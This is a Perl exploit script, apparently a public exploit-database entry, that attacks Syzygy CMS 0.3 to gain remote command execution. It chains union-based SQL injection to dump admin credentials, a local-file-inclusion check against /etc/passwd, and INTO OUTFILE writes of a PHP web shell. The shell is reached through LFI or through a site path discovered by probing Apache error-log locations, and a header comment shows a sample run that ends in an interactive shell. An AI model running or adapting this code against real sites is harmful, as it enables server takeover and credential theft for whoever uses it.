#!/usr/bin/perl
# Web App : Syzygy CMS 0.3
# Link : http://sourceforge.net/project/downloading.php?group_id=103298&use_mirror=heanet&filename=syzygycms-0.3.tar.gz&a=89932245
# Remote Command Execution Exploit :
# Case 1: If LFI works, exploitation via Shell Injection + LFI
# Case 2: Unless, exploitation via SQL Command Injection
# by Giovanni Buzzin, Osirys
# osirys[at]autistici[dot]org
# osirys.org
# Greets: Drosophila
# ----------------------------------------------------------------------------
# Exploit Simulation // (Case 1)
# ----------------------------------------------------------------------------
# osirys[~]>$ perl sploit.txt http://localhost/syzygy/
# ---------------------------------
# Syzygy CMS 0.3 RCE sploit
# by Osirys
# ---------------------------------
# [*] Getting admin login details ..
# [$] User: admin
# [$] Pass: 5f4dcc3b5aa765d61d8327deb882cf99
# [*] Testing LFI vulnerability
# [*] LFI works, exploiting it via SQL-LFI
# [++] Exploiting via SQL-LFI !
# [*] Creating remote Shell via SQL Injection ..
# [*] Spawning remote Shell via LFI ..
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/syzygy
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ----------------------------------------------------------------------------
use IO::Socket;
use LWP::UserAgent;
my $host = $ARGV[0];
my $rand = int(rand 50);
my $lfi = \"/index.php?page=../../../../../../../../../\";
my $code = \"<?php echo \\\"0xExec\\\";system(\\$_GET[cmd]);echo \\\"ExeCx0\\\" ?>\";
my $file = \"/tmp/sh_spawn_ownzzzzz\".$rand.\".txt\";
my @error_logs = qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);
($host) || help(\"-1\");
cheek($host) == 1 || help(\"-2\");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
print \"[*] Getting admin login details ..\\n\";
my $url = $host.\"/index.php?page=poll.php&poll=-1 union select 1,concat(0x64657461696C73,username,0x3a,password,0x64657461696C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users\";
my $re = get_req($url);
if ($re =~ /details(.+):(.+)details/) {
my($user,$pass) = ($1,$2);
print \"[\\$] User: $user\\n\";
print \"[\\$] Pass: $pass\\n\";
}
else {
print \"[-] Can\'t extract admin details\\n\\n\";
}
print \"\\n[*] Testing LFI vulnerability\\n\";
my $re = get_req($host.$lfi.\"etc/passwd%00\");
if ($re !~ /root:x/) {
print \"[-] LFI seems not working, exploiting it via SQL Command Injection !\\n\";
&exploit_2;
}
else {
print \"[*] LFI works, exploiting it via SQL-LFI\\n\";
&exploit_1;
}
sub exploit_1 {
print \"\\n[++] Exploiting via SQL-LFI !\\n[*] Creating remote Shell via SQL Injection ..\\n\";
my $attack = $host.\"/index.php?page=poll.php&poll=-1 union select 1,\'\".$code.\"\',0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile \'\".$file.\"\'\";
get_req($attack);
print \"[*] Spawning remote Shell via LFI ..\\n\\n\";
$way = 1;
&exec_cmd;
}
sub exploit_2 {
print \"\\n[++] Exploiting via SQL Command Injection !\\n[*] Generating error through GET request ..\\n\";
get_req($host.\"/osirys_log_test\".$rand);
print \"[*] Cheeking Apache Error Log path ..\\n\";
while (($log = <@error_logs>)&&($gotcha != 1)) {
$tmp_path = $host.\"/index.php?page=poll.php&poll=-1 union select 1,load_file(\'\".$log.\"\'),0,0,0,0,0,0,0,0,0,0,0,0,0,0\";
$re = get_req($tmp_path);
if ($re =~ /File does not exist: (.+)\\/osirys_log_test$rand/) {
$site_path = $1.\"/\";
$gotcha = 1;
print \"[*] Error Log path found -> $log\\n\";
print \"[*] Website path found -> $site_path\\n\";
}
}
$gotcha == 1 || die \"[-] Couldn\'t file error_log !\\n\";
my $attack = $host.\"/index.php?page=poll.php&poll=-1 union select 1,\'\".$code.\"\',0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile \'\".$site_path.\"/files/1337.php\'\";
get_req($attack);
my $test = get_req($host.\"/files/1337.php\");
if ($test =~ /0xExec/) {
print \"[*] Shell succesfully injected !\\n\";
print \"[&] Hi my master, do your job now [!]\\n\\n\";
$exec_path = $host.\"/shell.php\";
$way = 2;
&exec_cmd;
}
else {
print \"[-] Shell not found \\n[-] Exploit failed\\n\\n\";
exit(0);
}
}
sub exec_cmd {
$h0st !~ /www\\./ || $h0st =~ s/www\\.//;
print \"shell[$h0st]\\$> \";
$cmd = <STDIN>;
$cmd !~ /exit/ || die \"[-] Quitting ..\\n\";
if ($way == 1) {
$exec_url = $host.$lfi.$file.\"%00&cmd=\".$cmd;
}
elsif ($way == 2) {
$exec_url = $host.\"/files/1337.php?cmd=\".$cmd;
}
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ /0xExec(.+)ExeCx0/) {
my $out = $1;
$out =~ s/\\$/ /g;
$out =~ s/\\*/\\n/g;
chomp($out);
print \"$out\\n\";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\\n//;
print \"bash: \".$cmd.\": command not found\\n\";
$c < 3 || die \"[-] Command are not executed.\\n[-] Something wrong. Exploit Failed !\\n\\n\";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return($response->content);
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\\/\\/(.+)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\\/\\/(.+)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\\/$1/;
$full_det = $h0st.\" \".$path;
return($full_det);
}
sub tag() {
my $string = $_[0];
$string =~ s/ /\\$/g;
$string =~ s/\\s/\\*/g;
return($string);
}
sub banner {
print \"\\n\".
\" --------------------------------- \\n\".
\" Syzygy CMS 0.3 RCE sploit \\n\".
\" by Osirys \\n\".
\" --------------------------------- \\n\\n\";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print \"\\n[-] Bad hostname! \\n\";
}
elsif ($error == -2) {
&banner;
print \"\\n[-] Bad hostname address !\\n\";
}
print \"[*] Usage : perl $0 http://hostname/cms_path\\n\\n\";
exit(0);
}
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